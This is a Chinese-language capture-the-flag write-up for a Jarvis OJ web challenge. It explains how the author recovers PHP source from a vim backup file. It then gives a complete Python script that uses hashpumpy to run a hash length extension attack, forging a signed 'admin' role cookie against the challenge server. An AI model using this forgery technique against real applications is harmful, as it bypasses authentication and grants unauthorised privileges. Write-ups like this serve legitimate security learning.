前置知识
深入理解hash长度扩展攻击
Jarvis-flag在管理员手里
只有admin才能看到flag
然后抓包看看
发现role,反序列化过来是s:5:”guest”;
尝试改成admin,不行….,加上这里有个hsh值,事情应该没那么简单
扫描目录发现index.php~
,download到kali用vim -r
恢复之后看到源码
解题
这里需要用到hashpump工具,可以集成到python中使用
具体用法看p神hashpump
直接上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import requests import urllib from hashpumpy import hashpump
def attack(): url = "http://web.jarvisoj.com:32778/index.php" admins = 's:5:"admin";'[::-1] guests = 's:5:"guest";'[::-1] hsh = "3a4727d57463f122833d9e732f94e4e0" i = 1 while 1: print("现在开始测试长度为:",i) newhsh,message = hashpump(hsh,guests,admins,i) payload = {"role": urllib.parse.quote(message[::-1]),"hsh": newhsh} r = requests.get(url=url,cookies=payload) i += 1 if r.text.find("Only") == -1: print("爆破出来的md5为:",newhsh) print(r.request.headers) print(r.text) break
if __name__ == "__main__": attack()
|
- [::-1]逆序
- urllib.parse.quoteurl编码除了”/“
FLAG
参考链接
https://blog.csdn.net/zpy1998zpy/article/details/80858080
https://www.jianshu.com/p/af6c0bb5ae3a